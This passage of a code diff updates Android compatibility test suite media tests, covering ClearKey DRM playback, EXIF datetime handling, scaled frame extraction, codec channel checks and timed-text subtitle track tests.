+ "cenc", new byte[][] { CLEAR_KEY_CENC },
+ CENC_AUDIO_URL, false,
+ CENC_VIDEO_URL, true,
+ VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false);
+ }
+
+ public void testClearKeyPlaybackCenc2() throws Exception {
+ testClearKeyPlayback(
+ CLEARKEY_SCHEME_UUID,
// using secure codec even though it is clear key DRM
MIME_VIDEO_AVC, new String[] { CodecCapabilities.FEATURE_SecurePlayback },
"cenc", new byte[][] { CLEAR_KEY_CENC },
@@ -423,6 +503,7 @@
public void testClearKeyPlaybackWebm() throws Exception {
testClearKeyPlayback(
+ CLEARKEY_SCHEME_UUID,
MIME_VIDEO_VP8, new String[0],
"webm", new byte[][] { CLEAR_KEY_WEBM },
WEBM_URL, true,
@@ -432,6 +513,7 @@
public void testClearKeyPlaybackMpeg2ts() throws Exception {
testClearKeyPlayback(
+ CLEARKEY_SCHEME_UUID,
MIME_VIDEO_AVC, new String[0],
"mpeg2ts", null,
MPEG2TS_SCRAMBLED_URL, false,
@@ -441,6 +523,7 @@
public void testPlaybackMpeg2ts() throws Exception {
testClearKeyPlayback(
+ CLEARKEY_SCHEME_UUID,
MIME_VIDEO_AVC, new String[0],
"mpeg2ts", null,
MPEG2TS_CLEAR_URL, false,
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
index 0c98259..72eddf1 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
@@ -137,7 +137,8 @@
@TargetApi(16)
static class SimplePlayer {
- public static final long MIN_MS_PER_FRAME = TimeUnit.SECONDS.toMillis(1) / 10; // 10 FPS
+ public static final long MIN_MS_PER_FRAME = TimeUnit.SECONDS.toMillis(1) / 5; // 5 FPS
+ public static final long STARTUP_ALLOW_MS = TimeUnit.SECONDS.toMillis(1) ;
public static final int END_OF_STREAM = -1;
public static final int DEQUEUE_SUCCESS = 1;
public static final int DEQUEUE_FAIL = 0;
@@ -184,7 +185,7 @@
if (prepareVideoDecode(videoFormat)) {
if (startDecoder()) {
final long timeout =
- Math.max(MIN_MS_PER_FRAME, msPerFrameCap) * numOfTotalFrames * 2;
+ Math.max(MIN_MS_PER_FRAME, msPerFrameCap) * numOfTotalFrames + STARTUP_ALLOW_MS;
playerResult = decodeFramesAndPlay(numOfTotalFrames, timeout, msPerFrameCap);
} else {
playerResult = PlayerResult.failToStart();
@@ -286,6 +287,9 @@
Log.e(TAG, "IllegalStateException in dequeueDecoderOutputBuffer", exception);
}
}
+ // NB: totalTime measures from "first output" instead of
+ // "first INPUT", so does not include first frame latency
+ // and therefore does not tell us if the timeout expired
final long totalTime = SystemClock.elapsedRealtime() - firstOutputTimeMs;
return new PlayerResult(true, true, numOfTotalFrames == numOfDecodedFrames, totalTime);
}
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 60394be..34e8a82 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -1375,19 +1375,7 @@
}
// start decoding
- MediaFormat outFormat = codec.getOutputFormat();
- long kTimeOutUs = 5000; // 5ms timeout
- String outMime = format.getString(MediaFormat.KEY_MIME);
- if (outMime != null && outMime.startsWith("video/")) {
- int outWidth = outFormat.getInteger(MediaFormat.KEY_WIDTH);
- int outHeight = outFormat.getInteger(MediaFormat.KEY_HEIGHT);
- // in the 4K decoding case in byte buffer mode, set kTimeOutUs to 10ms as decode may
- // involve a memcpy
- if (outWidth * outHeight >= 8000000) {
- kTimeOutUs = 10000;
- }
- }
-
+ final long kTimeOutUs = 5000;
MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
boolean sawInputEOS = false;
boolean sawOutputEOS = false;
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index 9b5f001..f0b303b 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -21,6 +21,7 @@
import android.graphics.BitmapFactory;
import android.media.ExifInterface;
import android.os.Environment;
+import android.os.FileUtils;
import android.test.AndroidTestCase;
import android.util.Log;
import android.system.ErrnoException;
@@ -70,7 +71,7 @@
ExifInterface.TAG_MAKE,
ExifInterface.TAG_MODEL,
ExifInterface.TAG_F_NUMBER,
- ExifInterface.TAG_DATETIME,
+ ExifInterface.TAG_DATETIME_ORIGINAL,
ExifInterface.TAG_EXPOSURE_TIME,
ExifInterface.TAG_FLASH,
ExifInterface.TAG_FOCAL_LENGTH,
@@ -107,7 +108,7 @@
public final String make;
public final String model;
public final float aperture;
- public final String datetime;
+ public final String dateTimeOriginal;
public final float exposureTime;
public final float flash;
public final String focalLength;
@@ -153,7 +154,7 @@
make = getString(typedArray, index++);
model = getString(typedArray, index++);
aperture = typedArray.getFloat(index++, 0f);
- datetime = getString(typedArray, index++);
+ dateTimeOriginal = getString(typedArray, index++);
exposureTime = typedArray.getFloat(index++, 0f);
flash = typedArray.getFloat(index++, 0f);
focalLength = getString(typedArray, index++);
@@ -273,7 +274,8 @@
assertStringTag(exifInterface, ExifInterface.TAG_MAKE, expectedValue.make);
assertStringTag(exifInterface, ExifInterface.TAG_MODEL, expectedValue.model);
assertFloatTag(exifInterface, ExifInterface.TAG_F_NUMBER, expectedValue.aperture);
- assertStringTag(exifInterface, ExifInterface.TAG_DATETIME, expectedValue.datetime);
+ assertStringTag(exifInterface, ExifInterface.TAG_DATETIME_ORIGINAL,
+ expectedValue.dateTimeOriginal);
assertFloatTag(exifInterface, ExifInterface.TAG_EXPOSURE_TIME, expectedValue.exposureTime);
assertFloatTag(exifInterface, ExifInterface.TAG_FLASH, expectedValue.flash);
assertStringTag(exifInterface, ExifInterface.TAG_FOCAL_LENGTH, expectedValue.focalLength);
@@ -478,4 +480,34 @@
public void testReadExifDataFromSamsungNX3000Srw() throws Throwable {
testExifInterfaceForRaw(SAMSUNG_NX3000_SRW, R.array.samsung_nx3000_srw);
}
+
+ public void testSetDateTime() throws IOException {
+ final String dateTimeValue = "2017:02:02 22:22:22";
+ final String dateTimeOriginalValue = "2017:01:01 11:11:11";
+
+ File srcFile = new File(Environment.getExternalStorageDirectory(),
+ EXTERNAL_BASE_DIRECTORY + EXIF_BYTE_ORDER_II_JPEG);
+ File imageFile = new File(Environment.getExternalStorageDirectory(),
+ EXTERNAL_BASE_DIRECTORY + EXIF_BYTE_ORDER_II_JPEG + "_copied");
+
+ FileUtils.copyFileOrThrow(srcFile, imageFile);
+ ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+ exif.setAttribute(ExifInterface.TAG_DATETIME, dateTimeValue);
+ exif.setAttribute(ExifInterface.TAG_DATETIME_ORIGINAL, dateTimeOriginalValue);
+ exif.saveAttributes();
+
+ // Check that the DATETIME value is not overwritten by DATETIME_ORIGINAL's value.
+ exif = new ExifInterface(imageFile.getAbsolutePath());
+ assertEquals(dateTimeValue, exif.getAttribute(ExifInterface.TAG_DATETIME));
+ assertEquals(dateTimeOriginalValue, exif.getAttribute(ExifInterface.TAG_DATETIME_ORIGINAL));
+
+ // Now remove the DATETIME value.
+ exif.setAttribute(ExifInterface.TAG_DATETIME, null);
+ exif.saveAttributes();
+
+ // When the DATETIME has no value, then it should be set to DATETIME_ORIGINAL's value.
+ exif = new ExifInterface(imageFile.getAbsolutePath());
+ assertEquals(dateTimeOriginalValue, exif.getAttribute(ExifInterface.TAG_DATETIME));
+ imageFile.delete();
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index a3cdefc..97cdcdd 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -177,7 +177,8 @@
@Override
public void onEvent(MediaCas MediaCas, int event, int arg, byte[] data) {
Log.d(TAG, "Received MediaCas event: "
- + "event=" + event + ", arg=" + arg + ", data=" + data);
+ + "event=" + event + ", arg=" + arg
+ + ", data=" + Arrays.toString(data));
}
}, null);
} finally {
@@ -509,9 +510,11 @@
@Override
public void onEvent(MediaCas mediaCas, int event, int arg, byte[] data) {
Log.d(TAG, "Received MediaCas event: event=" + event
- + ", arg=" + arg + ", data=" + data);
+ + ", arg=" + arg + ", data=" + Arrays.toString(data));
if (mediaCas == mMediaCas && event == mEvent
- && arg == mArg && Arrays.equals(data, mData)) {
+ && arg == mArg && (Arrays.equals(data, mData) ||
+ data == null && mData.length == 0 ||
+ mData == null && data.length == 0)) {
mIsIdential = true;
}
mLatch.countDown();
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index f65e52d..987d365 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -440,4 +440,20 @@
assertNotNull("Profile " + profile + " must be supported.", codecName);
}
}
+
+ public void testAudioCodecChannels() {
+ for (MediaCodecInfo info : mAllInfos) {
+ String[] types = info.getSupportedTypes();
+ for (int j = 0; j < types.length; ++j) {
+ CodecCapabilities cap = info.getCapabilitiesForType(types[j]);
+ AudioCapabilities audioCap = cap.getAudioCapabilities();
+ if (audioCap == null) {
+ continue;
+ }
+ int n = audioCap.getMaxInputChannelCount();
+ Log.d(TAG, info.getName() + ": " + n);
+ assertTrue(info.getName() + " max input channel not positive: " + n, n > 0);
+ }
+ }
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index 17588ee..ec370ef 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -84,6 +84,11 @@
}
}
+ public void testAdjustVolumeWithIllegalDirection() {
+ // Call the method with illegal direction. System should not reboot.
+ mController.adjustVolume(37, 0);
+ }
+
public void testVolumeControl() throws Exception {
VolumeProvider vp = new VolumeProvider(VolumeProvider.VOLUME_CONTROL_ABSOLUTE, 11, 5) {
@Override
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index d18890f..58d803e 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -336,4 +336,186 @@
fail("Exception getting bitmap: " + e);
}
}
+
+ /**
+ * The following tests verifies MediaMetadataRetriever.getScaledFrameAtTime behavior.
+ */
+ public void testGetScaledFrameAtTime() {
+ int resId = R.raw.binary_counter_320x240_30fps_600frames;
+ if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
+ && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+ MediaUtils.skipTest("no video codecs for resource on watch");
+ return;
+ }
+
+ MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+ Resources resources = getContext().getResources();
+ AssetFileDescriptor afd = resources.openRawResourceFd(resId);
+
+ retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+ try {
+ afd.close();
+ } catch (IOException e) {
+ fail("Unable to close file");
+ }
+
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs*/ , OPTION_CLOSEST, 0 /*width*/, 120 /*height*/);
+ fail("Failed to receive exception");
+ } catch (IllegalArgumentException e) {
+ // Expect exception
+ }
+
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs*/ , OPTION_CLOSEST, -1 /*width*/, 0 /*height*/);
+ fail("Failed to receive exception");
+ } catch (IllegalArgumentException e) {
+ // Expect exception
+ }
+
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs*/ , OPTION_CLOSEST, -1 /*width*/, 120 /*height*/);
+ fail("Failed to receive exception");
+ } catch (IllegalArgumentException e) {
+ // Expect exception
+ }
+
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 140 /*width*/, -1 /*height*/);
+ fail("Failed to receive exception");
+ } catch (IllegalArgumentException e) {
+ // Expect exception
+ }
+
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, -1 /*width*/, -1 /*height*/);
+ fail("Failed to receive exception");
+ } catch (IllegalArgumentException e) {
+ // Expect exception
+ }
+
+ // Test desided size of 160 x 120. Return should be 160 x 120
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 160 /*width*/, 120 /*height*/);
+ if (bitmap == null) {
+ fail("Failed to get scaled bitmap");
+ }
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, "test_160x120" + ".jpg");
+ }
+
+ if (bitmap.getWidth() != 160 /* width */) {
+ fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
+ }
+ if (bitmap.getHeight() != 120 /* height */) {
+ fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
+ }
+
+ } catch (Exception e) {
+ fail("Exception getting bitmap: " + e);
+ }
+
+ // Test scaled up bitmap to 640 x 480. Return should be 640 x 480
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 640 /*width*/, 480 /*height*/);
+ if (bitmap == null) {
+ fail("Failed to get scaled bitmap");
+ }
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, "test_640x480" + ".jpg");
+ }
+
+ if (bitmap.getWidth() != 640 /* width */) {
+ fail("Bitmap width is " + bitmap.getWidth() + "Expect: 640");
+ }
+ if (bitmap.getHeight() != 480 /* height */) {
+ fail("Bitmap height is " + bitmap.getHeight() + "Expect: 480");
+ }
+
+ } catch (Exception e) {
+ fail("Exception getting bitmap: " + e);
+ }
+
+ // Test scaled up bitmap to 320 x 120. Return should be 160 x 120
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 320 /*width*/, 120 /*height*/);
+ if (bitmap == null) {
+ fail("Failed to get scaled bitmap");
+ }
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, "test_320x120" + ".jpg");
+ }
+
+ if (bitmap.getWidth() != 160 /* width */) {
+ fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
+ }
+ if (bitmap.getHeight() != 120 /* height */) {
+ fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
+ }
+
+ } catch (Exception e) {
+ fail("Exception getting bitmap: " + e);
+ }
+
+ // Test scaled up bitmap to 160 x 240. Return should be 160 x 120
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 160 /*width*/, 240 /*height*/);
+ if (bitmap == null) {
+ fail("Failed to get scaled bitmap");
+ }
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, "test_160x240" + ".jpg");
+ }
+
+ if (bitmap.getWidth() != 160 /* width */) {
+ fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
+ }
+ if (bitmap.getHeight() != 120 /* height */) {
+ fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
+ }
+
+ } catch (Exception e) {
+ fail("Exception getting bitmap: " + e);
+ }
+
+ // Test scaled the video with aspect ratio
+ resId = R.raw.binary_counter_320x240_720x240_30fps_600frames;
+ afd = resources.openRawResourceFd(resId);
+
+ retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+ try {
+ afd.close();
+ } catch (IOException e) {
+ fail("Unable to close file");
+ }
+ try {
+ Bitmap bitmap = retriever.getScaledFrameAtTime(
+ 2066666 /*timeUs */, OPTION_CLOSEST, 330 /*width*/, 240 /*height*/);
+ if (bitmap == null) {
+ fail("Failed to get scaled bitmap");
+ }
+ if (SAVE_BITMAP_OUTPUT) {
+ CodecUtils.saveBitmapToFile(bitmap, "test_330x240" + ".jpg");
+ }
+
+ if (bitmap.getWidth() != 330 /* width */) {
+ fail("Bitmap width is " + bitmap.getWidth() + "Expect: 330");
+ }
+ if (bitmap.getHeight() != 110 /* height */) {
+ fail("Bitmap height is " + bitmap.getHeight() + "Expect: 110");
+ }
+
+ } catch (Exception e) {
+ fail("Exception getting bitmap: " + e);
+ }
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
index 0bbbe95..15d08a3 100644
--- a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
@@ -490,7 +490,11 @@
int index = Math.max(minusIndex, plusIndex);
float latitude = Float.parseFloat(location.substring(0, index - 1));
- float longitude = Float.parseFloat(location.substring(index));
+ int lastIndex = location.lastIndexOf('/', index);
+ if (lastIndex == -1) {
+ lastIndex = location.length();
+ }
+ float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
assertTrue("Incorrect latitude: " + latitude + " [" + location + "]",
Math.abs(latitude - LATITUDE) <= TOLERANCE);
assertTrue("Incorrect longitude: " + longitude + " [" + location + "]",
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
index 0736f32..94e75eb 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
@@ -809,7 +809,7 @@
// Can skip conversion if ClearKey adds support for BMFF initData (b/64863112)
initData = makeCencPSSH(CLEARKEY_SCHEME_UUID, psshData);
}
- Log.d(TAG, "setupDrm: initData[" + drmScheme + "]: " + initData);
+ Log.d(TAG, "setupDrm: initData[" + drmScheme + "]: " + Arrays.toString(initData));
// diverging from GTS
mime = "cenc";
@@ -848,7 +848,7 @@
byte[] keySetId = mMediaPlayer.provideKeyResponse(
(keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
response);
- Log.d(TAG, "setupDrm: provideKeyResponse -> " + keySetId);
+ Log.d(TAG, "setupDrm: provideKeyResponse -> " + Arrays.toString(keySetId));
// storing offline key for a later restore
mKeySetId = (keyType == MediaDrm.KEY_TYPE_OFFLINE) ? keySetId : null;
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index e80dcf4..ebeba4e 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -15,6 +15,7 @@
*/
package android.media.cts;
+import android.app.ActivityManager;
import android.media.cts.R;
import android.content.Context;
@@ -30,6 +31,8 @@
import android.media.MediaMetadataRetriever;
import android.media.MediaPlayer;
import android.media.MediaPlayer.OnErrorListener;
+import android.media.MediaPlayer.OnSeekCompleteListener;
+import android.media.MediaPlayer.OnTimedTextListener;
import android.media.MediaRecorder;
import android.media.MediaTimestamp;
import android.media.PlaybackParams;
@@ -39,11 +42,13 @@
import android.media.audiofx.AudioEffect;
import android.media.audiofx.Visualizer;
import android.net.Uri;
+import android.os.Bundle;
import android.os.Environment;
import android.os.IBinder;
import android.os.PowerManager;
import android.os.ServiceManager;
import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.platform.test.annotations.RequiresDevice;
import android.util.Log;
@@ -58,7 +63,9 @@
import java.util.StringTokenizer;
import java.util.UUID;
import java.util.Vector;
+import java.util.concurrent.Callable;
import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicInteger;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import junit.framework.AssertionFailedError;
@@ -416,6 +423,68 @@
}
}
+ private final class VerifyAndSignalTimedText implements MediaPlayer.OnTimedTextListener {
+
+ final boolean mCheckStartTimeIncrease;
+ final int mTargetSignalCount;
+ int mPrevStartMs = -1;
+
+ VerifyAndSignalTimedText() {
+ this(Integer.MAX_VALUE, false);
+ }
+
+ VerifyAndSignalTimedText(int targetSignalCount, boolean checkStartTimeIncrease) {
+ mTargetSignalCount = targetSignalCount;
+ mCheckStartTimeIncrease = checkStartTimeIncrease;
+ }
+
+ void reset() {
+ mPrevStartMs = -1;
+ }
+
+ @Override
+ public void onTimedText(MediaPlayer mp, TimedText text) {
+ final int toleranceMs = 500;
+ final int durationMs = 500;
+ int posMs = mMediaPlayer.getCurrentPosition();
+ if (text != null) {
+ text.getText();
+ String plainText = text.getText();
+ if (plainText != null) {
+ StringTokenizer tokens = new StringTokenizer(plainText.trim(), ":");
+ int subtitleTrackIndex = Integer.parseInt(tokens.nextToken());
+ int startMs = Integer.parseInt(tokens.nextToken());
+ Log.d(LOG_TAG, "text: " + plainText.trim() +
+ ", trackId: " + subtitleTrackIndex + ", posMs: " + posMs);
+ assertTrue("The diff between subtitle's start time " + startMs +
+ " and current time " + posMs +
+ " is over tolerance " + toleranceMs,
+ (posMs >= startMs - toleranceMs) &&
+ (posMs < startMs + durationMs + toleranceMs) );
+ assertEquals("Expected track: " + mSelectedTimedTextIndex +
+ ", actual track: " + subtitleTrackIndex,
+ mSelectedTimedTextIndex, subtitleTrackIndex);
+ assertTrue("timed text start time did not increase; current: " + startMs +
+ ", previous: " + mPrevStartMs,
+ !mCheckStartTimeIncrease || startMs > mPrevStartMs);
+ mPrevStartMs = startMs;
+ mOnTimedTextCalled.signal();
+ if (mTargetSignalCount >= mOnTimedTextCalled.getNumSignal()) {
+ reset();
+ }
+ }
+ Rect bounds = text.getBounds();
+ if (bounds != null) {
+ Log.d(LOG_TAG, "bounds: " + bounds);
+ mBoundsCount++;
+ Rect expected = new Rect(0, 0, 352, 288);
+ assertEquals("wrong bounds", expected, bounds);
+ }
+ }
+ }
+
+ }
+
static class OutputListener {
int mSession;
AudioEffect mVc;
@@ -732,12 +801,15 @@
MediaPlayer mp2 = null;
AudioEffect vc = null;
Visualizer vis = null;
- AudioManager am = null;
+ AudioManager am = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
int oldRingerMode = Integer.MIN_VALUE;
int oldVolume = Integer.MIN_VALUE;
try {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true /* on */);
+ if (am.getRingerMode() != AudioManager.RINGER_MODE_NORMAL
+ && !ActivityManager.isLowRamDeviceStatic()) {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), true /* on */);
+ }
mp1 = new MediaPlayer();
mp1.setAudioStreamType(AudioManager.STREAM_MUSIC);
@@ -778,10 +850,12 @@
byte[] vizdata = new byte[size];
vis = new Visualizer(session);
- am = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+
oldRingerMode = am.getRingerMode();
// make sure we aren't in silent mode
- am.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+ if (am.getRingerMode() != AudioManager.RINGER_MODE_NORMAL) {
+ am.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+ }
oldVolume = am.getStreamVolume(AudioManager.STREAM_MUSIC);
am.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
@@ -836,8 +910,10 @@
if (oldVolume != Integer.MIN_VALUE) {
am.setStreamVolume(AudioManager.STREAM_MUSIC, oldVolume, 0);
}
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false /* on == false */);
+ if (!ActivityManager.isLowRamDeviceStatic()) {
+ Utils.toggleNotificationPolicyAccess(
+ mContext.getPackageName(), getInstrumentation(), false /* on == false */);
+ }
}
}
@@ -1773,48 +1849,95 @@
}
public void testChangeTimedTextTrack() throws Throwable {
- if (!checkLoadResource(R.raw.testvideo_with_2_timedtext_tracks)) {
+ testTimedText(R.raw.testvideo_with_2_timedtext_tracks, 2,
+ new int[] {R.raw.test_subtitle1_srt, R.raw.test_subtitle2_srt},
+ new VerifyAndSignalTimedText(),
+ new Callable<Void>() {
+ @Override
+ public Void call() throws Exception {
+ selectTimedTextTrack(0);
+ mOnTimedTextCalled.reset();
+
+ mMediaPlayer.start();
+ assertTrue(mMediaPlayer.isPlaying());
+
+ // Waits until at least two subtitles are fired. Timeout is 2.5 sec.
+ // Please refer the test srt files:
+ // test_subtitle1_srt.3gp and test_subtitle2_srt.3gp
+ assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+ selectTimedTextTrack(1);
+ mOnTimedTextCalled.reset();
+ assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+ selectTimedTextTrack(2);
+ mOnTimedTextCalled.reset();
+ assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+
+ selectTimedTextTrack(3);
+ mOnTimedTextCalled.reset();
+ assertTrue(mOnTimedTextCalled.waitForCountedSignals(2, 2500) >= 2);
+ mMediaPlayer.stop();
+
+ assertEquals("Wrong bounds count", 2, mBoundsCount);
+ return null;
+ }
+ });
+ }
+
+ public void testSeekWithTimedText() throws Throwable {
+ AtomicInteger iteration = new AtomicInteger(5);
+ AtomicInteger num = new AtomicInteger(10);
+ try {
+ Bundle args = InstrumentationRegistry.getArguments();
+ num.set(Integer.parseInt(args.getString("num", "10")));
+ iteration.set(Integer.parseInt(args.getString("iteration", "5")));
+ } catch (Exception e) {
+ Log.w(LOG_TAG, "bad num/iteration arguments, using default", e);
+ }
+ testTimedText(R.raw.testvideo_with_2_timedtext_tracks, 2, new int[] {},
+ new VerifyAndSignalTimedText(num.get(), true),
+ new Callable<Void>() {
+ @Override
+ public Void call() throws Exception {
+ selectTimedTextTrack(0);
+ mOnSeekCompleteCalled.reset();
+ mOnTimedTextCalled.reset();
+ OnSeekCompleteListener seekListener = new OnSeekCompleteListener() {
+ @Override
+ public void onSeekComplete(MediaPlayer mp) {
+ mOnSeekCompleteCalled.signal();
+ }
+ };
+ mMediaPlayer.setOnSeekCompleteListener(seekListener);
+ mMediaPlayer.start();
+ assertTrue(mMediaPlayer.isPlaying());
+ int n = num.get();
+ for (int i = 0; i < iteration.get(); ++i) {
+ assertTrue(mOnTimedTextCalled.waitForCountedSignals(n, 15000) == n);
+ mOnTimedTextCalled.reset();
+ mMediaPlayer.seekTo(0);
+ mOnSeekCompleteCalled.waitForSignal();
+ mOnSeekCompleteCalled.reset();
+ }
+ mMediaPlayer.stop();
+ return null;
+ }
+ });
+ }
+
+ private void testTimedText(
+ int resource, int numInternalTracks, int[] subtitleResources,
+ OnTimedTextListener onTimedTextListener, Callable<?> testBody) throws Throwable {
+ if (!checkLoadResource(resource)) {
return; // skip;
}
mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
mMediaPlayer.setScreenOnWhilePlaying(true);
mMediaPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ mMediaPlayer.setOnTimedTextListener(onTimedTextListener);
mBoundsCount = 0;
- mMediaPlayer.setOnTimedTextListener(new MediaPlayer.OnTimedTextListener() {
- @Override
- public void onTimedText(MediaPlayer mp, TimedText text) {
- final int toleranceMs = 500;
- final int durationMs = 500;
- int posMs = mMediaPlayer.getCurrentPosition();
- if (text != null) {
- String plainText = text.getText();
- if (plainText != null) {
- StringTokenizer tokens = new StringTokenizer(plainText.trim(), ":");
- int subtitleTrackIndex = Integer.parseInt(tokens.nextToken());
- int startMs = Integer.parseInt(tokens.nextToken());
- Log.d(LOG_TAG, "text: " + plainText.trim() +
- ", trackId: " + subtitleTrackIndex + ", posMs: " + posMs);
- assertTrue("The diff between subtitle's start time " + startMs +
- " and current time " + posMs +
- " is over tolerance " + toleranceMs,
- (posMs >= startMs - toleranceMs) &&
- (posMs < startMs + durationMs + toleranceMs) );
- assertEquals("Expected track: " + mSelectedTimedTextIndex +
- ", actual track: " + subtitleTrackIndex,
- mSelectedTimedTextIndex, subtitleTrackIndex);
- mOnTimedTextCalled.signal();
- }
- Rect bounds = text.getBounds();
- if (bounds != null) {
- Log.d(LOG_TAG, "bounds: " + bounds);
- mBoundsCount++;
- Rect expected = new Rect(0, 0, 352, 288);
- assertEquals("wrong bounds", expected, bounds);
- }
- }
- }
- });
mMediaPlayer.prepare();
assertFalse(mMediaPlayer.isPlaying());
@@ -1828,14 +1951,15 @@
}
});
getInstrumentation().waitForIdleSync();
- assertEquals(getTimedTextTrackCount(), 2);
+ assertEquals(getTimedTextTrackCount(), numInternalTracks);
runTestOnUiThread(new Runnable() {
public void run() {
try {
// Adds two more external subtitle files.
- loadSubtitleSource(R.raw.test_subtitle1_srt);
- loadSubtitleSource(R.raw.test_subtitle2_srt);
+ for (int subRes : subtitleResources) {
+ loadSubtitleSource(subRes);
+ }
readTimedTextTracks();
} catch (Exception e) {
throw new AssertionFailedError(e.getMessage());
@@ -1843,33 +1967,9 @@
}
});
getInstrumentation().waitForIdleSync();
- assertEquals(getTimedTextTrackCount(), 4);
+ assertEquals(getTimedTextTrackCount(), numInternalTracks + subtitleResources.length);
- selectTimedTextTrack(0);
- mOnTimedTextCalled.reset();
-
- mMediaPlayer.start();
- assertTrue(mMediaPlayer.isPlaying());
-
- // Waits until at least two subtitles are fired. Timeout is 2.5 sec.
